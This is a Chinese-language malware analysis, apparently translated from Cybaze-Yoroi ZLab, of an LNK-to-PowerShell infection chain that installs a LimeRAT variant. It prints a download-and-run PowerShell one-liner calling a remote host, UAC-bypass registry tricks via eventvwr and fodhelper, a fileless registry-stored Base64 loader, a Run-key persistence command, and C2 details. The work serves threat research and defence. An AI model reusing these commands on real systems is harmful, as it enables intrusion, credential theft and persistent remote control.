内容简介:介绍几天前,Cybaze-Yoroi ZLab安全团队遇到了一类有趣的感染链,它利用多种复杂技术,能够绕过传统安全防御机制并隐藏其payload,对目标用户造成严重威胁。整个感染链始于一个LNK文件,利用LNK文件进行攻击是APT组织常常使用的技术之一,因此我们决定对这些恶意样本进行更深入的研究,在研究过程中,我们还发现了另一个早被用滥的开源项目,很多时候,网络犯罪分子会在其中植入恶意软件。
介绍
几天前,Cybaze-Yoroi ZLab安全团队遇到了一类有趣的感染链,它利用多种复杂技术,能够绕过传统安全防御机制并隐藏其payload,对目标用户造成严重威胁。
整个感染链始于一个LNK文件,利用LNK文件进行攻击是APT组织常常使用的技术之一,因此我们决定对这些恶意样本进行更深入的研究,在研究过程中,我们还发现了另一个早被用滥的开源项目,很多时候,网络犯罪分子会在其中植入恶意软件。
技术分析
感染链的起源是一个简单的LNK文件,旨在通过以下命令从远程位置下载并运行名为“rdp.ps1”的PowerShell文件:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -Windo 1 $wm=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWVY'));sal g $wm;$IF=((New-Object Net.WebClient)).DownloadString('https://hacks4all[.net/rdp.ps1');g $I
检索到的Powershell脚本是整个感染链的dropper。
此Powershell脚本首先使用“Get-WmiObject -Class Win32_OperatingSystem | Select-Object -ExpandProperty Version”命令检索目标计算机上安装的Windows操作系统的版本。接着根据返回的值,利用一些相应的权限提升漏洞,以绕过UAC(用户帐户控制)功能——这是自Windows Vista起引入的一种安全机制,可以避免未经授权的系统配置更改。脚本的首要目标就是在版本低于8.1的Windows中,利用 EventViewer进程上的设计缺陷 来执行具有更高特权的命令。
对此漏洞的利用过程是非常容易的:恶意软件可以访问注册表项“HKCU:\ Software \ Classes \ mscfile \ shell \ open \ command”,并在此处插入命令,通过强制执行“eventvwr.exe”进程来运行其payload,由于安全漏洞,可以以最高权限运行该进程。
图1:检查目标Windows版本并为eventvwr.exe进程漏洞利用做准备
第二个漏洞则涉及到Windows 10操作系统:是FODhelper进程中的一个漏洞。此漏洞利用的原理与前一个类似,但访问的注册表项是“HKCU:\ Software \ Classes \ ms-settings \ Shell \ Open \ command”,而受攻击的进程则是“fodhelper.exe”。
图2:检查目标Windows版本并为fodhelper.exe进程漏洞利用做准备
之后运行Powershell payload,payload在解码后会调用额外的JavaScript代码。这个脚本的主体包含一个嵌入其他子函数的惟一匿名函数和一个很大的模糊变量。
图3:以Base64格式编码的payload,与自定义子程序混淆
图4:子程序去混淆后的部分代码
它的payload是一个参数化的Powershell脚本,目的是将最终payload安装到用户注册表hive中,从而结束感染链。
[ "Wscript.Shell", "scriptfullname", "scriptname", "powershell -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command ", "%", "ExpandEnvironmentStrings", "Temp", "\\", "fromCharCode", "[System.IO.File]::WriteAllText([Environment]::GetEnvironmentVariable('Temp')+'\\", "',[System.IO.File]::ReadAllText('", "'));wscript '", "'", "Run", "Quit", "New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -name 'FileName' -value '", "' -PropertyType String -Force;", "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\\", "'))", " ##### FINAL PAYLOAD ##### " "HKCU\\SOFTWARE\\Microsoft\\\\Winkey", "Scripting.FileSystemObject", "REG_SZ", "regwrite", "$_b = (get-itemproperty -path 'HKCU:\\SOFTWARE\\Microsoft\\' -name 'Winkey').Winkey;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" ]
图5:注册表项中以base64格式编写的最终payload
Payload
最终的payload实际上是一个Base64编码的PE32文件,为了躲避反病毒检测,不会将文件存储到注册表hive中。它是用c#编写的,至少需要. net framework 3.2才能运行。通过对恶意软件代码的研究,我们发现了多个证据表明该恶意软件可能属于LimeRAT恶意软件家族。
LimeRAT是一款功能强大的远程管理工具,也是Github上免费提供的一个开源项目,任何互用户都可以使用。将其源代码与反编译样例进行比较,我们能够确认恶意软件的payload和这个开源远程管理 工具 之间具有很高的兼容性。
图6:静态payload数据
图7:反编译代码(左边)和Github平台上的源代码(右边)
恶意软件的功能与上述开源代码的匹配度非常高。另外它也做了一些改动,例如,恶意软件可以将自己注册为“Critical Process”,当用户试图杀死它时,机器上就会出现蓝屏死机(BSoD)。除此之外,恶意软件还有一整套非常强大和危险的功能,比如:
·通过USB驱动器传播,感染USB驱动器上的所有文件和文件夹。
· 无文件启动方法以逃避AV检测。
· 虚拟机和分析箱,同样是为了避免检测。
· Stealer和CryptoStealer模块则是窃取加密货币钱包和保存的密码。
· 键盘记录模块。
· 后门和RDP访问。
C2服务器
图8.对C2的检索
恶意软件的C2服务器通过滥用Pastebin服务来降低被检索到的可能性。真实的C2目的地地址需要通过加密的HTTPS通道从pastie动态检索。
此外,攻击者依赖于动态DNS服务“warzonedns.com”,该服务指向位于俄罗斯的213.183.58 [.10 IP地址。
调查此地址后,我们找到了注册商的电子邮件地址,“anthony.marshall.1986 [@gmail [.com”,这个邮件地址曾出现在2017年一个众所周知的 AdWind / JRat恶意活动 中,表明该恶意行为者是长期活跃的。
持久性机制
此恶意软件还使用了多种持久性机制,使得临时事件响应程序更难摆脱感染的控制,多种持久性机制有助于确保感染持续时间更长。更具体地说,它利用了至少三种不同的持久性技巧,将自身复制到三种不同的路径中:
·C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
· C:\Users\public\
· %APPDATA%\Local\Temp\
图9:恶意软件的持久性机制
JavaScript代码通过以下powershell命令执行:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -name 'FileName' -value 'C:\Users\admin\AppData\Local\Temp\fuw.js' -PropertyType String -Force;"
结论
在我们的分析案例中可以看出:一些开源项目正越来越常被黑客滥用,并被融入到一些众所周知的恶意软件中去。黑客通过对它们不断地编排、改进来逃避基本的安全控制、渗透企业安全的边界。
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- CVE-2018-15961在野利用
- [译] Chrome 在野零日漏洞
- 多款光纤路由器设备在野0-day漏洞简报
- 微软11月补丁日回顾 | 在野与0day的纷纷扰扰
- 火狐浏览器爆在野利用0day,官方紧急更新修复
- 谷歌安全团队公布内部追踪的“已在野利用0day”列表
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。